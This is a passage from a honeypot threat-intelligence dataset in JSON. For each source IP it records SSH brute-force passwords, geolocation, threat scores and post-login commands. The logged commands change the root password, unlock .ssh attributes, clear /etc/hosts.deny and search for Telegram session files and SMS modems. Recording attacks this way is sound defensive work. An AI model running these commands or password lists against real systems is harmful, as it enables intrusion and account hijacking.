        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T08:08:15.724000+00:00",
        "last_seen_30d": "2026-04-17T09:19:17.005000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 58
      }
    },
    "147.45.50.81": {
      "attack_count": 168,
      "first_seen": "2026-04-28T06:26:37.225Z",
      "last_seen": "2026-04-28T06:58:05.929Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rootuser"
      ],
      "passwords_attempted": [
        "!QAZ@WSX1q2w3e4r",
        "1234sa",
        "123QWEzxcQWE",
        "1p2o3i4u5y",
        "1qazxsw@#edc",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin888",
        "Bonc@2024#!",
        "Dell4220264440",
        "Qwe321",
        "RootUser@123",
        "SDZ3p3SaQgUf",
        "Shiyue@123",
        "andreionel",
        "debian12",
        "deploy1234567",
        "huawei@root",
        "openbox",
        "oraroot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:aPXl4g9nLYBu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T06:26:37.225000+00:00",
        "last_seen_30d": "2026-04-28T06:59:07.893000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "155.4.245.222": {
      "attack_count": 168,
      "first_seen": "2026-04-01T06:13:58.200Z",
      "last_seen": "2026-04-01T07:35:26.915Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qaz@WSX",
        "3004",
        "3245gs5662d34",
        "345gs5662d34",
        "4321qwer",
        "Alcateldc",
        "Europe@123",
        "Fu123456",
        "Qwerty1!",
        "Root!123",
        "Sw123123",
        "Zxcv123$",
        "admin@123456",
        "asd123#",
        "loop",
        "pASSWord",
        "qazwsxebc",
        "snake",
        "tony1234",
        "woaini5202614"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ab21O79GpJY4\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Helsingborg",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:13:58.200000+00:00",
        "last_seen_30d": "2026-04-01T07:36:35.367000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "43.165.3.187": {
      "attack_count": 168,
      "first_seen": "2026-04-02T08:24:05.735Z",
      "last_seen": "2026-04-02T09:24:01.685Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "2025!",
        "3245gs5662d34",
        "333333",
        "345gs5662d34",
        "AA112233",
        "Abcde12345",
        "Ghi123!",
        "Huawei123456@",
        "Qq888",
        "Qwe333",
        "Qweasd",
        "Qwerty202501",
        "Root654",
        "Yy123456",
        "abcdefg1234",
        "abcdefgh1234",
        "password02",
        "qawsed",
        "qwer&1234",
        "qwerty123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:KrfsJZ64w3kk\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:24:05.735000+00:00",
        "last_seen_30d": "2026-04-02T09:25:04.104000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "168.138.213.115": {
      "attack_count": 157,
      "first_seen": "2026-04-01T02:38:04.970Z",
      "last_seen": "2026-04-01T04:59:42.091Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "#EDC",
        "3245gs5662d34",
        "345gs5662d34",
        "@great79",
        "Asdfghjkl;'",
        "Masoor14",
        "Mm@147258",
        "P@55w0rd@123",
        "Password@369",
        "abc10086",
        "andrey",
        "asdfghjkl;'",
        "bangsat123",
        "cacti@123",
        "matter",
        "qwe#2024",
        "qweaz123",
        "qwerty234",
        "suzuki123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:OetMJLnH4hLu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Inzai",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T02:38:04.970000+00:00",
        "last_seen_30d": "2026-04-01T05:00:45.440000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 157,
        "Suricata": 58
      }
    },
    "209.145.58.231": {
      "attack_count": 144,
      "first_seen": "2026-04-30T22:43:25.603Z",
      "last_seen": "2026-04-30T22:49:32.102Z",
      "sessions": 72,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:43:25.603000+00:00",
        "last_seen_30d": "2026-04-30T22:50:36.233000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 73
      }
    },
    "185.194.199.33": {
      "attack_count": 135,
      "first_seen": "2026-04-06T21:42:15.005Z",
      "last_seen": "2026-04-06T23:15:44.236Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "gemini",
        "345gs5662d34",
        "minecraft",
        "steam",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa987654321",
        "Qwerty2024",
        "Steam25",
        "abcd1234",
        "gemini",
        "m1necr@ft",
        "qweasd123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"gemini\\n1anwqRF67KJ7\\n1anwqRF67KJ7\\n\"|passwd",
        "echo -e \"gemini\\n1anwqRF67KJ7\\n1anwqRF67KJ7\"|passwd|bash",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "uname -m",
        "which ls"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Tajikistan",
      "country_code": "TJ",
      "city": null,
      "asn": 215814,
      "as_org": "Sinamo 2017 LLC",
      "threat_score": 7.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T21:42:15.005000+00:00",
        "last_seen_30d": "2026-04-06T23:16:52.744000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 135,
        "Suricata": 83
      }
    },
    "103.217.145.41": {
      "attack_count": 111,
      "first_seen": "2026-04-26T10:58:22.651Z",
      "last_seen": "2026-04-26T11:56:00.274Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0102",
        "1234.Admin",
        "1942",
        "1pass",
        "Admin321",
        "Admin@2026",
        "QW1234",
        "Z1x2c3v4",
        "ZX123",
        "admin12345",
        "chris",
        "pass.123",
        "qwert.123",
        "user32",
        "verizon123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T10:58:22.651000+00:00",
        "last_seen_30d": "2026-04-26T11:57:04.675000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 111,
        "Suricata": 43
      }
    },
    "134.122.23.182": {
      "attack_count": 72,
      "first_seen": "2026-04-30T19:23:18.664Z",
      "last_seen": "2026-04-30T19:28:35.253Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:23:18.664000+00:00",
        "last_seen_30d": "2026-04-30T19:29:36.443000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 38
      }
    },
    "34.77.85.103": {
      "attack_count": 72,
      "first_seen": "2026-04-30T05:49:31.235Z",
      "last_seen": "2026-04-30T05:50:16.548Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8693",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:49:31.235000+00:00",
        "last_seen_30d": "2026-04-30T05:51:26.623000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "110.166.67.189": {
      "attack_count": 60,
      "first_seen": "2026-04-10T04:35:52.629Z",
      "last_seen": "2026-04-10T05:07:36.622Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "2233",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456a:",
        "bharat123",
        "qazwsx4321!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"root:ahWiwWf7Ct4N\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 59223,
      "as_org": "CHINANET Qinghai province IDC network",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T04:35:52.629000+00:00",
        "last_seen_30d": "2026-04-10T05:17:40.791000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 20
      }
    },
    "27.79.47.134": {
      "attack_count": 57,
      "first_seen": "2026-04-07T06:28:38.673Z",
      "last_seen": "2026-04-07T06:34:00.094Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "installer",
        "sync",
        "system",
        "test",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "0l0ctyQh243O63uD",
        "@",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "admin@123",
        "click1",
        "installer",
        "test",
        "ubnt",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.direct-tcpip.data"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T06:28:38.673000+00:00",
        "last_seen_30d": "2026-04-07T06:44:03.178000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 57,
        "Suricata": 31
      }
    },
    "139.135.45.196": {
      "attack_count": 50,
      "first_seen": "2026-04-06T06:30:43.076Z",
      "last_seen": "2026-04-06T06:36:07.660Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T06:30:43.076000+00:00",
        "last_seen_30d": "2026-04-06T06:37:09.039000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.17.44": {
      "attack_count": 50,
      "first_seen": "2026-04-18T09:16:35.903Z",
      "last_seen": "2026-04-18T09:22:07.169Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T09:16:35.903000+00:00",
        "last_seen_30d": "2026-04-18T09:23:09.966000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "162.219.216.183": {
      "attack_count": 44,
      "first_seen": "2026-04-07T23:05:03.829Z",
      "last_seen": "2026-04-07T23:09:49.313Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 26375,
      "as_org": "AIRESPRING, INC.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T23:05:03.829000+00:00",
        "last_seen_30d": "2026-04-07T23:10:51.289000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "77.90.185.107": {
      "attack_count": 43,
      "first_seen": "2026-04-10T12:52:06.531Z",
      "last_seen": "2026-04-15T16:58:21.956Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "kelltech!2019",
        "kelltech!2020",
        "kelltech!2021",
        "kelltech!2022",
        "kelltech!2025",
        "kelltech#1234",
        "kelltech$123",
        "password@kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:52:06.531000+00:00",
        "last_seen_30d": "2026-04-15T16:59:29.039000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 24
      }
    },
    "47.185.144.12": {
      "attack_count": 34,
      "first_seen": "2026-04-25T17:18:44.572Z",
      "last_seen": "2026-04-25T17:19:49.240Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Flower Mound",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T17:18:43.750000+00:00",
        "last_seen_30d": "2026-04-25T17:20:53.022000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 9
      }
    },
    "92.33.220.174": {
      "attack_count": 34,
      "first_seen": "2026-04-22T23:16:02.512Z",
      "last_seen": "2026-04-22T23:17:00.012Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Rosersberg",
      "asn": 8434,
      "as_org": "Telenor Sverige AB",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T23:16:02.512000+00:00",
        "last_seen_30d": "2026-04-22T23:18:05.759000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 4
      }
    },
    "2.57.122.197": {
      "attack_count": 32,
      "first_seen": "2026-04-04T16:03:27.031Z",
      "last_seen": "2026-04-28T16:03:04.740Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
